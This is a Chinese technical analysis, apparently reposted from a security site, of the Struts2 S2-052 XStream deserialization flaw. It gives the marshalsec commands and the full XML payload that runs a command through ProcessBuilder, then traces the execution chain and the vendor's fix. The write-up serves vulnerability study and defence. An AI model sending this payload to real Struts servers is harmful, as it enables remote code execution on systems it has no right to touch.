S2-052从Payload到执行浅析

发表于:2017-09-13 14:13:36 来源:  FreeBuf.COM 阅读数(0人)

近期曝光的S2-052漏洞备受瞩目,之前的struts版本只要开启了rest插件都有可能会受到影响,网上已经公开的POC已经包含了能够进行远程攻击的payload,该payload实际上是marshallsec利用XStream中的ImageIO gadget生成的XML。本文会介绍从payload生成到执行的整个流程。


本次实验分析的jdk版本为1.8。


生成payload


payload的生成过程非常简单:


git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

生成的payload如下:


<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

过程分析


1. 寻找xml解释器


当payload发送到存在漏洞的struts服务端时,可以看到会调用到XStreamHandler类的toObject方法将xml转化成对象。




在调用XStreamHandler的toObject方法之前,RestActionInvocation会读取struts-plugin.xml中的解释器并遍历来寻找能够解析输入的Interceptor,直到找到rest库中的ContentTypeInterceptor类(第17次找到rest,对应于下图的16项)。




2. 解析XML


首先给出比较重要的调用过程:


toObject, XStreamHandler
  fromXML, XStream
    ...
      start, TreeUnmarshaller // 真正开始解析XML,识别类并转化成对象
        ...
          unmarshal, MapConverter // 开始解析顶层的Map对象
            populateMap, MapConverter
              putCurrentEntryInfoMap, MapConverter // 解析第一对Entry,即<key, value>结构
                key = readItem // 生成jdk.nashorn.internal.objects.NativeString对象
                  readClassType  // 读取key的类型,即jdk.nashorn.internal.objects.NativeString
                  ConvertAnother // 递归解析对象
                    .....
                value = readItem
                put(key, value), HashMap // 将解析的keyvalue对象添加到HashMap中
                  putVal, HashMap
                     hash(key), HashMap  // 对key计算hash
                       key.hashCode, NativeString
                          getStringValue, NativeString
                            toString, Base64Data //调用value的toString方法
                              get, Base64Data
                                readFrom, ByteArrayOutputStreamEx
                                  read, CipherInputStream
                                    getMoreData, CipherInputStream
                                      update, NullCipher
                                        chooseFirstProvider, NullCipher
                                          next, FilterIterator
                                            advance, FilterIterator
                                              filter, FilterIterator
                                                method.invoke // ProcessBuilder.start()

总结一下就是XStream会完成NativeString对象(map第一个键值对)的正常解析,但是当把键值对添加到HashMap对象中时,会计算key (NativeString) 的hash值,也就是对NativeString的value计算hash,但是value的类型并不是String,而是Base64Data,调用Base64Data的toString方法会引发接下来的一系列调用,最终导致命令执行。


下面针对其中的调用过程进行追踪:


2.1 key对象解析


ContentTypeInterceptor的intercept方法会获取能够解析request内容的handler,并调用handler的toObject方法。


public String intercept(ActionInvocation invocation) throws Exception {
        HttpServletRequest request = ServletActionContext.getRequest();
        ContentTypeHandler handler = this.selector.getHandlerForRequest(request); // XStreamHandler
        Object target = invocation.getAction();
        if(target instanceof ModelDriven) {
            target = ((ModelDriven)target).getModel();
        }
​
        if(request.getContentLength() > 0) {
            InputStream is = request.getInputStream();
            InputStreamReader reader = new InputStreamReader(is);
            handler.toObject(reader, target); // XStreamHandler.toObject
        }
​
        return invocation.invoke();
    }

XStreamHandler则会调用XStream类的fromXML方法,将Reader对象中的内容转换成target对象。


public void toObject(Reader in, Object target) {
        XStream xstream = this.createXStream();
        xstream.fromXML(in, target);
    }

struts官方发布的新版本也正是在这里进行了修改,新版本的相关方法如下:


public void toObject(ActionInvocation invocation, Reader in, Object target)
{
    XStream xstream = CreateXStream(invocation);
    xstream.fromXML(in, target);
}
​
protected XStream createXStream(ActionInvocation invocation){
  XStream stream = new XStream();
  stream.addPermission(NoTypePermission.None);
  addPerActionPermission(invocation, stream);
  addDefaultPermissions(invocation, stream);
  return stream;
}

针对每个action对创建的xstream流对象进行了权限控制,只允许对指定的类进行解析。




从XStream的toObject方法开始,直到TreeUnmarshaller的start方法才开始解析XML结构:


 public Object start(DataHolder dataHolder) {
        this.dataHolder = dataHolder;
        Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);   // java.util.Map
        Object result = this.convertAnother((Object)null, type);
        Iterator validations = this.validationList.iterator();
​
        while(validations.hasNext()) {
            Runnable runnable = (Runnable)validations.next();
            runnable.run();
        }
​
        return result;
    }

start方法首先读取reader的顶级标签类,此时type对应顶层的标签,也就是 java.uti.Map接口。之后进入到ConvertAnother方法:


 public Object convertAnother(Object parent, Class type, Converter converter) {
        type = this.mapper.defaultImplementationOf(type); // java.util.HashMap
        if(converter == null) {
            converter = this.converterLookup.lookupConverterForType(type);
        } else if(!converter.canConvert(type)) {
            ConversionException e = new ConversionException("Explicit selected converter cannot handle type");
            e.add("item-type", type.getName());
            e.add("converter-type", converter.getClass().getName());
            throw e;
        }
​
        return this.convert(parent, type, converter);
    }

convertAnother方法首先会找到该类对应的具体实现类,java.util.Map变成java.util.HashMap类,然后去寻找合适的转换器,对应于HashMap类找到的converter为MapConverter,通过子类父类的方法调用,最后会执行到MapConvert的unmarshal方法S2-052 从Payload到执行浅析




MapConverter的unmarshal方法会调用populateMap对XML结构进行解析,populateMap又会调用putCurrentEntryInfoMap来不断读取每一对标签中的内容,作为一个组合。


 protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {
        reader.moveDown();
        Object key = this.readItem(reader, context, map);
        reader.moveUp();
        reader.moveDown();
        Object value = this.readItem(reader, context, map);
        reader.moveUp();
        target.put(key, value);
    }

protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
        Class type = HierarchicalStreams.readClassType(reader, this.mapper());
        return context.convertAnother(current, type);
    }

对key和value对象的解析会调用readItem方法,该方法与TreeUnmarshaller的start方法类似,都是读取类型,然后根据该类型转换成对应的对象。最终解析完成之后第一个entry的key会转换成NativeString对象,该对象的value字段为Base64Data对象。key的解析结果如下:




2.2 命令执行


key对象的转换过程只是一个填充对象字段的过程,不涉及命令执行。当对key和value的解析过程完成,接下来调用target.put(key, value),将键值对加入到HashMap中。该方法会对key计算hash,调用key.hashCode方法,即 NativeString的hashCode方法。


public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
​
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

NativeString的hashCode方法首先调用getStringValue获取value的string值,再调用String的hashCode方法。


public int hashCode() {
        return this.getStringValue().hashCode();
    }
​
    private String getStringValue() {
        return this.value instanceof String?(String)this.value:this.value.toString();
    }

在getStringValue的调用过程中,由于value是Base64Data类型而不是String类型,因此会调用value的toString方法,即Base64Data的toString方法转换成String对象。




public String toString() {
        this.get();
        return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);
    }

public byte[] get() {
        if(this.data == null) {
            try {
                ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
                InputStream is = this.dataHandler.getDataSource().getInputStream(); // CipherInputStream
                baos.readFrom(is); // in
                is.close();
                this.data = baos.getBuffer();
                this.dataLen = baos.size();
            } catch (IOException var3) {
                this.dataLen = 0;
            }
        }
​
        return this.data;
    }

Base64Data的toString方法会调用get方法获取数据,get方法又会从Base64的InputStream流中读取数据,执行到ByteArrayOutputStreamEx的readFrom方法。


public void readFrom(InputStream is) throws IOException {
        while(true) {
            if(this.count == this.buf.length) {
                byte[] data = new byte[this.buf.length * 2];
                System.arraycopy(this.buf, 0, data, 0, this.buf.length);
                this.buf = data;
            }
​
            int sz = is.read(this.buf, this.count, this.buf.length - this.count); // read here
            if(sz < 0) {
                return;
            }
​
            this.count += sz;
        }
    }

其中的is成员是CipherInputStream对象,执行is.read也就是调用CipherInputStream类的read方法。payload中CipherInputStream对象的ostart为0 (0), ofinish也为0 (0) ,满足if条件,因此会执行getMoreData方法。




 public int read(byte[] var1, int var2, int var3) throws IOException {
        int var4;
        if(this.ostart >= this.ofinish) {
            for(var4 = 0; var4 == 0; var4 = this.getMoreData()) {
                ;
            }
        ......
 }

  private int getMoreData() throws IOException {
        if(this.done) {
            return -1;
        } else {
            int var1 = this.input.read(this.ibuffer);
            if(var1 == -1) {
                ......
            } else {
                try {
                    this.obuffer = this.cipher.update(this.ibuffer, 0, var1);
                } catch (IllegalStateException var4) {
                    this.obuffer = null;
                    throw var4;
                }
                ......
            }
        }
    }

CipherInputStream的done为False,再看下input的read方法,即NullInputStream类的read方法:


public int read(byte b[]) throws IOException {
        return read(b, 0, b.length);
    }

 public int read(byte b[], int off, int len) throws IOException {
        if (b == null) {
            throw new NullPointerException();
        } else if (off < 0 || len < 0 || len > b.length - off) {
            throw new IndexOutOfBoundsException();
        } else if (len == 0) {
            return 0;
        }
        ......
  }

参数b是CipherInputStream的ibuffer成员,是一个length为0的byte数组,相当于调用read(byte [0], 0, 0),read返回值为0。继续回到getMoreData,var1为0,执行到cipher的update方法,即NullCipher的update方法,参数分别为byte[0], 0, 0


public final byte[] update(byte[] var1, int var2, int var3) {
        this.checkCipherState();
        if(var1 != null && var2 >= 0 && var3 <= var1.length - var2 && var3 >= 0) {
            this.chooseFirstProvider();
            return var3 == 0?null:this.spi.engineUpdate(var1, var2, var3);
        } else {
            throw new IllegalArgumentException("Bad arguments");
        }
    }

void chooseFirstProvider() {
     if(this.firstService == null && !this.serviceIterator.hasNext()) {
          ......
          throw;
     }
     if(this.firstService!=null){
         ......
     }else{
       var3 = (Service)this.serviceIterator.next();
       ......
     }
     ......
}

update中var!=null && var2>=0 && var3 <= var1.length - var2 && var3>=0的条件是满足的,调用chooseFirstProvider方法。由于firstService为null, 并且serviceIterator的next是”foo”,因此执行到serviceIterator.next方法,serviceIterator对象如下:




public T next() {
        if (next == null) {
            throw new NoSuchElementException();
        }
        T o = next;
        advance();
        return o;
    }

private void advance() {
        while (iter.hasNext()) {
            T elt = iter.next();
            if (filter.filter(elt)) {
                next = elt;
                return;
            }
        }
        next = null;
    }

serviceIterator的next不为空,next方法会执行advance方法,由于iter的next成员不为空,调用iter.next方法,返回值为ProcessBuilder对象,调用filter的filter方法,即ContainsFilter的filter方法,参数为ProcessBuilder对象。


public boolean filter(Object elt) {
    try {
        return contains((String[])method.invoke(elt), name);
    } catch (Exception e) {
        return false;
    }
}

method成员为ProcessBuilder.start方法,elt为ProcessBuilder对象,因此method.invoke(elt)相当于 ProcessBuilder.start() 调用,其中ProcessBuilder为已经构造好要执行的命令的对象,对象内容如下,最终达到命令执行的目的。




相关新闻

大家都在学

课程详情

Struts2框架安全实验

课程详情

Struts2远程代码执行漏洞

课程详情

网络安全基础